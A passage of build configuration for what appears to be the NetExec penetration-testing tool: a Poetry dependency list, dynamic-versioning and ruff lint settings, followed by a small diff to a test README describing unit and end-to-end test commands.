msgpack = "^1.0.0"
msldap = "^0.5.10"
neo4j = "^5.0.0"
paramiko = "2.12.0"
poetry-dynamic-versioning = "^1.2.0"
pyasn1-modules = "^0.2.8"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
pypykatz = "0.6.6"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
python-dateutil = ">=2.8.2"
python-libnmap = "^0.7.3"
requests = ">=2.27.1"
rich = "^13.3.5"
sqlalchemy = "^1.4.50"
termcolor = "1.1.0"
terminaltables = "^3.1.0"
xmltodict = "^0.13.0"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
enable = true
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
format = "{base}+{commit}"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
+1 -1
View File
@@ -5,7 +5,7 @@
* Run `pytest` (or `poetry run pytest`)
### End to End Tests
* Install nxc (either in venv or via Poetry)
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
File renamed without changes.